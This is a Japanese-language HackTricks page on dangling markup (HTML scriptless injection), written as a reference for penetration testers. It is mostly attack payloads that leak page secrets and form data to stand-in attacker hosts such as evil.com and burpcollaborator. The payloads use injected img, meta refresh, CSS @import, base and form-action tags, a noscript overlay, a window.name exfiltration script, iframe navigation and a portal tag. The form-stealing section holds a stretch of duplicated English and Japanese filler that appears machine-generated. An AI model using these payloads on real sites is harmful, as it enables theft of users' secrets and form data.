22 KiB
ダングリングマークアップ - HTMLスクリプトレスインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
概要
このテクニックは、HTMLインジェクションが見つかった場合にユーザーから情報を抽出するために使用できます。これは、XSSを悪用する方法が見つからない場合に非常に便利ですが、いくつかのHTMLタグを注入することができます。
また、HTML内に平文で保存された秘密がある場合に、クライアントからそれを外部に持ち出すためにも役立ちます。また、スクリプトの実行を誤認させるためにも使用できます。
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に持ち出すことによって、いくつかのコンテンツセキュリティポリシーをバイパスするために使用できます(HTMLタグ、CSS、http-metaタグ、フォーム、ベースなど)。
主な応用
平文の秘密の盗み出し
ページが読み込まれるときに<img src='http://evil.com/log.cgi?
を注入すると、被害者は注入されたimg
タグと次の引用符までのコードをすべて送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。どちらがより興味深いかを確認してください)。
img
タグが禁止されている場合(CSPのためなど)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
を使用することもできます。
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
注意してください Chromeは "<"または"\n"を含むHTTP URLをブロックしますので、他のプロトコルスキーム(例: "ftp")を試すことができます。
また、CSSの@import
を悪用することもできます(";"が見つかるまでのすべてのコードを送信します)。
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
あなたは**<table
**を使用することもできます。
<table background='//your-collaborator-id.burpcollaborator.net?'
あなたは<base
タグを挿入することもできます。引用符が閉じられるまで、すべての情報が送信されますが、ユーザーの操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、ベースタグがリンクが指すドメインを変更しているからです):
<base target=' <--- Injected
steal me'<b>test</b>
フォームの盗み出し
In this technique, we will explore a method to steal form data from a vulnerable website. This can be useful for extracting sensitive information such as usernames, passwords, and other personal data.
この技術では、脆弱なウェブサイトからフォームデータを盗み出す方法を探ります。これは、ユーザー名、パスワード、その他の個人データなどの機密情報を抽出するために役立ちます。
Introduction
When a user submits a form on a website, the data is typically sent to the server for processing. However, in some cases, the form data may be vulnerable to theft due to improper handling or validation on the server side.
ウェブサイトでユーザーがフォームを送信すると、通常はデータがサーバーに送信されて処理されます。しかし、いくつかの場合において、サーバーサイドでの不適切な処理や検証により、フォームデータが盗まれる可能性があります。
Exploitation
To steal form data, we can leverage a technique known as "dangling markup" or "HTML scriptless injection". This technique takes advantage of a vulnerability where the server fails to properly sanitize user input, allowing us to inject malicious code into the HTML response.
フォームデータを盗むために、私たちは「dangling markup」または「HTML scriptless injection」として知られる技術を利用することができます。この技術は、サーバーがユーザーの入力を適切にサニタイズできない脆弱性を利用し、悪意のあるコードをHTMLレスポンスに注入することができます。
To exploit this vulnerability, we need to identify a form on the target website that is vulnerable to scriptless injection. This can be done by inspecting the HTML source code of the page and looking for input fields that are not properly sanitized or validated.
この脆弱性を悪用するには、スクリプトレスインジェクションに対して脆弱なターゲットウェブサイトのフォームを特定する必要があります。これは、ページのHTMLソースコードを検査し、適切にサニタイズまたは検証されていない入力フィールドを探すことで行うことができます。
Once we have identified a vulnerable form, we can inject our malicious code into the form fields. This code can be designed to send the form data to an external server or store it locally for later retrieval.
脆弱なフォームを特定したら、悪意のあるコードをフォームフィールドに注入することができます。このコードは、フォームデータを外部サーバーに送信するか、後で取得するためにローカルに保存するために設計することができます。
Mitigation
To protect against form stealing attacks, it is important to properly sanitize and validate user input on the server side. This includes implementing input validation routines, using parameterized queries to prevent SQL injection, and encoding user input before displaying it on the website.
フォームの盗み出し攻撃に対して保護するためには、サーバーサイドでユーザーの入力を適切にサニタイズおよび検証することが重要です。これには、入力検証ルーチンの実装、SQLインジェクションを防ぐためのパラメータ化されたクエリの使用、およびウェブサイトに表示する前にユーザーの入力をエンコードすることが含まれます。
Additionally, web application firewalls (WAFs) can be used to detect and block malicious requests that attempt to exploit form vulnerabilities. Regular security audits and penetration testing can also help identify and address any potential vulnerabilities in the web application.
さらに、ウェブアプリケーションファイアウォール(WAF)を使用して、フォームの脆弱性を悪用しようとする悪意のあるリクエストを検出およびブロックすることができます。定期的なセキュリティ監査とペネトレーションテストも、ウェブアプリケーションの潜在的な脆弱性を特定し、対処するのに役立ちます。
<base href='http://evil.com/'>
次に、データをパスに送信するフォーム(例:<form action='update_profile.php'>
)は、データを悪意のあるドメインに送信します。
フォームの盗み出し2
フォームヘッダーを設定します:<form action='http://evil.com/log_steal'>
これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。
フォームの盗み出し3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更することができます。
<button name=xss type=submit formaction='https://google.com'>I get consumed!
攻撃者はこれを使って情報を盗むことができます。
クリアテキストの秘密の盗み出し2
最新のテクニックを使用してフォームを盗む(新しいフォームヘッダを注入する)後、新しい入力フィールドを注入することができます:
<input type='hidden' name='review_body' value="
そして、この入力フィールドには、HTML内のダブルクォートと次のダブルクォートの間のすべてのコンテンツが含まれます。この攻撃は、"平文の秘密の盗み出し"と"フォームの盗み出し2"を組み合わせています。
同じことを、フォームと<option>
タグを注入することで行うこともできます。閉じられた</option>
が見つかるまでのすべてのデータが送信されます。
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
フォームパラメータのインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります。
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
ノースクリプトを通じたクリアテキストの秘密情報の盗み出し
<noscript></noscript>
は、ブラウザがJavaScriptをサポートしていない場合に解釈されるタグです(Chromeではchrome://settings/content/javascriptでJavaScriptを有効/無効にできます)。
攻撃者が制御するサイトに、インジェクションポイントからページの最下部までのコンテンツを外部流出させる方法は、次のようにインジェクションすることです:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
ユーザーの操作によるCSPのバイパス
このポートスウィガーズの研究から、最もCSPが制限された環境でも、ユーザーの操作によってデータを外部に漏洩することができることがわかります。今回は、以下のペイロードを使用します:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
注意してください。被害者に対して、あなたが制御するペイロードにリダイレクトするリンクをクリックするように依頼します。また、base
タグ内のtarget
属性には、次のシングルクォートまでのHTMLコンテンツが含まれることに注意してください。
これにより、リンクがクリックされた場合の**window.name
の値は、そのHTMLコンテンツ全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、window.name
にアクセスし、そのデータを外部に漏洩**することができます。
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
誤解を招くスクリプトのワークフロー1 - HTMLネームスペース攻撃
次のタグを上書きし、スクリプトのフローに影響を与える値を持つ、HTML内に新しいタグを挿入します。この例では、情報を共有する相手を選択します。
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script>
var target = document.getElementById('target');
var shareWith = target.getAttribute('data-share-with');
// Perform actions based on the value of 'shareWith'
</script>
</svg>
<div id="target" data-share-with="example@example.com"></div>
この攻撃では、<div>
要素のdata-share-with
属性の値を変更することで、スクリプトのフローを操作します。
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
誤解を招くスクリプトのワークフロー2 - スクリプト名前空間攻撃
HTMLタグを挿入してJavaScriptの名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
JSONPの乱用
JSONPインターフェースを見つけた場合、任意の関数と任意のデータを呼び出すことができる可能性があります。
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
または、いくつかのJavaScriptを実行してみることもできます:
<script src='/search?q=a&call=alert(1)'></script>
Iframeの悪用
注意してください。子ドキュメントは、クロスオリジンであっても、親のlocationプロパティを表示および設定することができます。 これは、次のようなコードをiframe内にロードすることで、クライアントが他の任意のページにアクセスすることができることを意味します。
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
これは、次のようなもので緩和できます: sandbox='allow-scripts allow-top-navigation'
また、iframeを悪用して、異なるページからiframeのname属性を使用して機密情報を漏洩させることもできます。これは、自身をiframe化するiframeを作成することができるため、HTMLインジェクションを悪用して機密情報がiframeのname属性内に表示され、それを初期のiframeからアクセスして漏洩させることができるためです。
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
詳細については、https://portswigger.net/research/bypassing-csp-with-dangling-iframesを参照してください。
<metaの乱用
meta http-equiv
を使用して、Cookieの設定などの複数のアクションを実行することができます:<meta http-equiv="Set-Cookie" Content="SESSID=1">
またはリダイレクトを行うこともできます(この場合は5秒後に):<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
これは、http-equivに関するCSPで回避することができます( Content-Security-Policy: default-src 'self';
または Content-Security-Policy: http-equiv 'self';
)
新しい<portal HTMLタグ
<portalタグの脆弱性に関する非常に興味深い研究をこちらで見つけることができます。
この執筆時点では、Chromeでportalタグを有効にする必要があります。chrome://flags/#enable-portals
で有効にしないと機能しません。
<portal src='https://attacker-server?
HTMLリーク
HTMLで接続情報を漏洩させる方法はすべてがDangling Markupに役立つわけではありませんが、時には役に立つこともあります。こちらで確認できます:https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SSリーク
これはdangling markupとXS-Leaksのミックスです。一方で、この脆弱性は、攻撃対象となるページと同じオリジンのページにHTML(JSではない)を注入することを可能にします。他方で、HTMLを注入できるページそのものを直接攻撃するのではなく、別のページを攻撃します。
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Searchは、サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出させることを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術ではHTMLタグの挿入(JSの実行あり・なし)を悪用します。例えば、CSS InjectionやLazy Load Imagesなどです。
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
参考文献
ここで紹介されているすべての技術とその他の詳細については、次のリンクで確認できます:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
悪用される可能性のある他のHTMLタグは、次のリンクで見つけることができます:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
詳細情報:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyをご覧ください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。